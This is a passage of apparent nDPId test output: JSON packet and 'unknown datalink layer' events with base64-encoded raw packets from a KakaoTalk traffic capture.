+00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1014,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":847510,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/q0KAbE+Wizzz2guGVRlUcHmkycHXLNnDIcKBzQNP2us4RaJELDReTnuCe6dk8hxLUh622c8sw9t+"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1014,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00556{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1015,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":857581,"pkt_caplen":186,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":186,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKoAAEAAQBHZ+AoYUrwByQGuKBxaBgCWKW2AbDIffqxgw1SapdoFzyceLv5rJYb+1wZpTnfbmCKG1k1uL6whUbnb8miY2PPGURSWluIl\/sA\/kBrepQTfhNTUVlm7O8HgNXCglshMxqYPF5buCx8a+xJqAf8FYnpCrz3oJlkXjaIp0hGAn4n\/759kGqFXmRO54r5fCQcWPxopKMFCOQU1t8CBaneK0T\/F"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1015,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1016,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":871344,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/a0qAbE+Xizz3mguGVRmFPFC9vVkRroj8LcrneLDp7ZCV+AouaVttVvzfcv1ph9XBdvMGRSex3Zh0"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1016,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00599{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1017,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":897742,"pkt_caplen":214,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":214,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMYAAEAAQBHZ3AoYUrwByQGuKBxaBgCyPCWAbDIgfqxkg1SapdpoOcC+kEVVHGZQymdv59AWt3oWX0ULvulPMZfaKogKp8nUjYtpJhenPC40N6N\/LFVIM6karejSH1IFp74f3yhe1aOHgfoqK\/RGrOGD5nZ8CK07+o\/WZ8R7KyleNSd\/5wGMNS5r5\/SZYSw0htofXU3GLzjy4BRA9Aw\/N6YYlZJYoiyl+fXWXEbgf\/gTyuIpk13sCJdk5Rhz9PAqKa6Q3g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1017,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1018,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":903327,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/IPWAbDIdfqxZQ1SapdplkdmxH8bpUj3XEiUHsuqS2G+oqfrOx7h\/Xlfg1BhX437cnJ+ExACr+Z8H"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1018,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00591{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1019,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":908179,"pkt_caplen":212,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":212,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMQAAEAAPxHa3goYUrwByQGuLDhaBACw8lqAbE+aiz0C2guGVRnKpzqoTMr9r6CvKgkIK3ng6diWoezQc7X7nYrlVbN+mhQDGyd2ZDkWH+TsAkiRcDEUQtBjo+uTVohqFLGonmhWKcA4KfwOYIOAPJYscA80jrs+KoaQjEk\/Uz37RGoU+7i7Z3Q0TFyryOhsBck\/IEvDlVHdGAR2wbXOUGzzHoDfaG\/h8fTwnzQs5NdYzWYTdSdenamy9XQDkyGKXuA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1019,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1020,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":939398,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/7bOAbE+Yizz7WguGVRm1JRO45J3QYm+4bTMVZVGYwTnTSOlQLrYI7tqfm0VnRGwVjxanKCobfTna"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1020,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1021,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":983771,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHMZKAbE+Zizz\/GguGVRnOEMeJLp5Pmv4yWdhNangpgCcUxKwUoiiA9ckppZVWQTbn0DIue5YNMkyH8ZL3casUTzc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1021,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1022,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":993842,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/9b+AbDIefqxdA1SapdqWjEDvLDMrb1aBKQk9E2I8RkhT787BOgDjwPSWLBwJVR3nnKeX9+pKLu0w"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1022,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00619{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1023,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":2356,"pkt_caplen":233,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":233,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANkAAEAAQBHZyQoYUrwByQGuKBxaBgDFlGSAbDIhfqxoQ1Sapdo3jTSzREIIXeGF9ClVu6G+fqOYerA6cWuD2qkwb6PUcjtQfBNyCsnDA4dIumK62QHOuKgU\/LDKuix+vxqI\/mgmnqZM3miQ\/JqyRUeqOgfIyz8AApQIVNjUkdLcRAx7BcZZ7QOSzSPpCehmbzDTwuajfm3JqTVyMC80pfqP8peg0d\/OOGxz289yFIC98X6iMUnBobL36Q+dlHIp\/uPTsWl8m7gw0LAVljf7aqwehJMnqrk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1023,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00596{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1024,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":8032,"pkt_caplen":218,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":218,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMoAAEAAPxHa2AoYUrwByQGuLDhaBAC2CXiAbE+biz0GmguGVRmk8I3cBeh6d3Ni6Ji\/dp36+tFhllMJ+9CeQzQ4FtMm7elrRaIKgiQKYkVZr1vlrEJ2mj681xY9EzBD+3DD5+NQI4GFHkT+DcwBudloZU7lsusOV6CzbF7RyNqL0Wzy4eGJ6AhFAn7UFgqoL\/W9kacpnC95sMi0ymRX752jsxCctG1J2v117o6irgjdKkdYN7+Va0koG9i0Rhv34w9BpDjF1hg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1024,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00603{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1025,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":9253,"pkt_caplen":220,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":220,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMwAAEAAPxHa1goYUrwByQGuLDhaBAC4+NaAbE+ciz0KWguGVRnoDuS\/Yr8PBbUoq\/BXxmqeR8cvjG0i4sY+A3sOXGK3GNqE3UNLWFMigYR90uPFovQddRWVM5q8TktXsYQBAXT1JTG3GhdXW9XBlba7KaaANGS5IatT\/pUWpe+uNsJ5MnZZv3yfAsGJtaXYWtNihCGIR+GLk6o871U9c\/1XoGpEnSC06gF0XX4oTzSx4e2ZlpMNWfUEk3zPLSXPihfvVh\/QJISHNA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1025,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00555{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1026,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":28815,"pkt_caplen":186,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":186,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKoAAEAAHRH80AHJAa4KGFK8WgQsOACWJVOAbDIffqxgw1SapdoFzyceLv5rJYb+1wZpTnfbmCKG1k1uL6whUbnb8miY2PPGURSWluIl\/sA\/kBrepQTfhNTUVlm7O8HgNXCglshMxqYPF5buCx8a+xJqAf8FYnpCrz3oJlkXjaIp0hGAn4n\/759kGqFXmRO54r5fCQcWPxopKMFCOQU1t8CBaneK0T\/F"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1026,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00617{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1027,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":44806,"pkt_caplen":232,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":232,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANgAAEAAQBHZygoYUrwByQGuKBxaBgDE1CqAbDIifqxsA1Sapdozgah+8mzt53LgA4V2uqMn+ecPjUc4Bc384RJFrRbPYppCE+VSdL8wbA4QjLAENowEkxc3Ff90OyBE5GBrLAw8666L13ipvJZoUpwPA0h25JBNjNzJXx9Y70dyA3KX77llOErS+4XF1S8DxYr5g+B+lgsVU0lzeSUoWWywsXMHV379\/BqMiGM64eiPqG05Ryvjpn9GEyWpVi\/aBBUJSYR4tUIQjB0sP1glToiTnSFsgA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1027,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00598{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1028,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":79505,"pkt_caplen":214,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":214,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMYAAEAAHRH8tAHJAa4KGFK8WgQsOACyOAuAbDIgfqxkg1SapdpoOcC+kEVVHGZQymdv59AWt3oWX0ULvulPMZfaKogKp8nUjYtpJhenPC40N6N\/LFVIM6karejSH1IFp74f3yhe1aOHgfoqK\/RGrOGD5nZ8CK07+o\/WZ8R7KyleNSd\/5wGMNS5r5\/SZYSw0htofXU3GLzjy4BRA9Aw\/N6YYlZJYoiyl+fXWXEbgf\/gTyuIpk13sCJdk5Rhz9PAqKa6Q3g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1028,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00596{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1029,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":101966,"pkt_caplen":214,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":214,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMYAAEAAQBHZ3AoYUrwByQGuKBxaBgCykNKAbDIjfqxvw1SapdoVuyZgo0keVm2F4ewXtuEyGKLgD0r\/XemmcSRUb3ZXNuQq\/IksCx43b5ESdANj90eXoAQyOfxiLE9eYskLnqlPcQ+prDXof9sh956z7NMVn47QpXGsyKdmSd4RbYkqJOdkxPnwGymRWD9S+Zjb8U9lBflBvXAhf6pIljVrMSGoz3hYU2lNtJIqDWMLTFoi5DsMpSS1B4y4LB\/WD\/boEg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1029,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00606{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1030,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":112433,"pkt_caplen":225,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":225,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANEAAEAAPxHa0QoYUrwByQGuLDhaBAC9iEqAbE+diz0OGguGVRmB6eVFB4+VQAAoQxCwzraZ7rJES2l9grSoJHkt\/DHDoqAXCa+HupiLUQ7g9Wf9iethW89vMfZbp6u9Th28rxOvnnx2KdWBFmCX5cQS9Cff\/cpTJKpAckMxbiZjE1qzB5pXKCfrhKgSjqn+d38ZoKLsfD1N54pXIrIExjEsHScTAHDjPZuv6fYRaQ+0D6fkbshOPwF50DTmpXOCeu89Ya5D41SNz2hxxhvv"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1030,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00591{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1031,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":112586,"pkt_caplen":213,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":213,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMUAAEAAPxHa3QoYUrwByQGuLDhaBACxFcmAbE+eiz0R2guGVRlF9XDdD+gErz1WLWUbpCuDbqlW3A5NtDwopRPIVnneq97g0hZmgxe83YYoCjHDf98xkm4hN8Z6TEez\/cd42b7vd9h2v4JsLS6dbORLn4JspGGhDytXLlfzTITZVA2zjzIHpZV33CUu2XXcUTlv0Bc\/3On76wu5T4pCA9D45V04qEBiLCiFrQaXJvKclu\/HjQZ8gMXF6NNsrj8QGvtz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1031,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00591{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1032,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":113227,"pkt_caplen":212,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":212,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMQAAEAAHBH9tgHJAa4KGFK8WgYoHACw9nSAbE+aiz0C2guGVRnKpzqoTMr9r6CvKgkIK3ng6diWoezQc7X7nYrlVbN+mhQDGyd2ZDkWH+TsAkiRcDEUQtBjo+uTVohqFLGonmhWKcA4KfwOYIOAPJYscA80jrs+KoaQjEk\/Uz37RGoU+7i7Z3Q0TFyryOhsBck\/IEvDlVHdGAR2wbXOUGzzHoDfaG\/h8fTwnzQs5NdYzWYTdSdenamy9XQDkyGKXuA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1032,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00556{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1033,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":142707,"pkt_caplen":188,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":188,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKwAAEAAQBHZ9goYUrwByQGuKBxaBgCYbjyAbDIkfqxzg1SapdqA7TDJuBZNpQUyhMnO8vxfuotheEfRGNF79Orfm3x3jhxexYQWxnhgGEm5mtfQQ3BtM5Prv8NAluTi2YRfuzRcP9OOOYMWj4uEma757Wggw5lr8Bawfgc1U9Y4HM24MmTXySkZ2vJMqNUTmQhTlMhcJ+mH6+lt1vcKSPFXWokbP51zOBs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1033,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00621{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1034,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":179511,"pkt_caplen":233,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":233,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANkAAEAAHRH8oQHJAa4KGFK8WgQsOADFkEqAbDIhfqxoQ1Sapdo3jTSzREIIXeGF9ClVu6G+fqOYerA6cWuD2qkwb6PUcjtQfBNyCsnDA4dIumK62QHOuKgU\/LDKuix+vxqI\/mgmnqZM3miQ\/JqyRUeqOgfIyz8AApQIVNjUkdLcRAx7BcZZ7QOSzSPpCehmbzDTwuajfm3JqTVyMC80pfqP8peg0d\/OOGxz289yFIC98X6iMUnBobL36Q+dlHIp\/uPTsWl8m7gw0LAVljf7aqwehJMnqrk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1034,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00568{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1035,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":208380,"pkt_caplen":193,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":193,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALEAAEAAPxHa8QoYUrwByQGuLDhaBACdsBKAbE+fiz0VmguGVRnMK9f8J\/IFR6jNJfWkUjGU7c8yOPw8ZS35\/3yOtohjU2vNceH77mrVbIHgHDjbwmqdaon9\/3WYtl6XIvXwAKc5DdbDI5Bo04SGYXxdSaTFSoG2ykm+pu13\/FxLbL2motIA+hHekT+35h18tUEPNyhC1nKmJ0EoDKmNw0TMLsYOZfGWkkfQ2Hfwtg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1035,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00598{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1036,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":219458,"pkt_caplen":218,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":218,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMoAAEAAHBH9sAHJAa4KGFK8WgYoHAC2DZKAbE+biz0GmguGVRmk8I3cBeh6d3Ni6Ji\/dp36+tFhllMJ+9CeQzQ4FtMm7elrRaIKgiQKYkVZr1vlrEJ2mj681xY9EzBD+3DD5+NQI4GFHkT+DcwBudloZU7lsusOV6CzbF7RyNqL0Wzy4eGJ6AhFAn7UFgqoL\/W9kacpnC95sMi0ymRX752jsxCctG1J2v117o6irgjdKkdYN7+Va0koG9i0Rhv34w9BpDjF1hg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1036,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00558{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1037,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":222571,"pkt_caplen":185,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":185,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKkAAEAAQBHZ+QoYUrwByQGuKBxaBgCVrbyAbDIlfqx3Q1SapdrvBQU\/jkmiebR3VnVnl\/6eFvUqHM\/1qEM\/S5LvLKGU9BRJUJTqYy8POmPsPsNKzTTSLeBxRSA+WoKLd6rhSfB3mjMRWNBvWJNHD0mxFhJH2O9+mdSBmmzqrWQDhGw\/CPhlpjza2FH4e7lEz2OHLcnMWWG6xzAYMdMuiy\/Ktnt7zvw="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1037,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00606{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1038,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":251563,"pkt_caplen":220,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":220,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMwAAEAAHBH9rgHJAa4KGFK8WgYoHAC4\/PCAbE+ciz0KWguGVRnoDuS\/Yr8PBbUoq\/BXxmqeR8cvjG0i4sY+A3sOXGK3GNqE3UNLWFMigYR90uPFovQddRWVM5q8TktXsYQBAXT1JTG3GhdXW9XBlba7KaaANGS5IatT\/pUWpe+uNsJ5MnZZv3yfAsGJtaXYWtNihCGIR+GLk6o871U9c\/1XoGpEnSC06gF0XX4oTzSx4e2ZlpMNWfUEk3zPLSXPihfvVh\/QJISHNA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1038,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00545{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1039,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":277960,"pkt_caplen":178,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":178,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKIAAEAAQBHaAAoYUrwByQGuKBxaBgCOAcWAbDImfqx7A1Sapdof6FxH2gZsFJKP1RIhI8hhgWLTU0QmBdZdxYGqq9+YnCME4i4bKx4sdwJUzEX2mf3xS\/Oa68rBSseBWQ5+Nq+Hok6HB9E2mhuLPc4iR+G9BBm8p+uo0Ro684BZjjL3Wzj8z5Y7Zli74lCJdWYlo6nPsStP6irtvxZKmw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1039,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00618{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1040,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":299353,"pkt_caplen":232,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":232,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANgAAEAAHRH8ogHJAa4KGFK8WgQsOADE0BCAbDIifqxsA1Sapdozgah+8mzt53LgA4V2uqMn+ecPjUc4Bc384RJFrRbPYppCE+VSdL8wbA4QjLAENowEkxc3Ff90OyBE5GBrLAw8666L13ipvJZoUpwPA0h25JBNjNzJXx9Y70dyA3KX77llOErS+4XF1S8DxYr5g+B+lgsVU0lzeSUoWWywsXMHV379\/BqMiGM64eiPqG05Ryvjpn9GEyWpVi\/aBBUJSYR4tUIQjB0sP1glToiTnSFsgA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1040,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00554{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1041,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":318061,"pkt_caplen":185,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":185,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKkAAEAAPxHa+QoYUrwByQGuLDhaBACVjSSAbE+giz0ZWguGVRnsvJFYyIYZsnktZIa+FitK9v0GPgDBXNVFLEmYS8iJWIMTAwrmRMyCv1aKTb3GqiCfnYirWee1uMSCuG7UZ9DCRkQKlvGsHQD+bG1KB7OgENs0VYoQNCH1YQWysluuBHQ7YjGVB6Xg\/pz9vhII1gTT1QaPkAwTYjjdyR3JPXG\/Qbg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1041,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00560{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1042,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":320563,"pkt_caplen":188,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":188,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKwAAEAAPxHa9goYUrwByQGuLDhaBACYplmAbE+hiz0dGguGVRl2gIDtHP\/l8+KGzCCiIo6Zl50qHVo0UUrN5M7VLsfLylv6zdwDuH09r3WSlB\/kx2fNP5fL8zWPfYYn7r6OLb+f6UiYKZFYxTofswb0ITaQ8csZT9Kq\/KjgNPaYd288QzPXBhoSE80P9EW\/gfmfCeZ82lydamwrjEeQW3S4CrpVq7PYsNY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1042,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 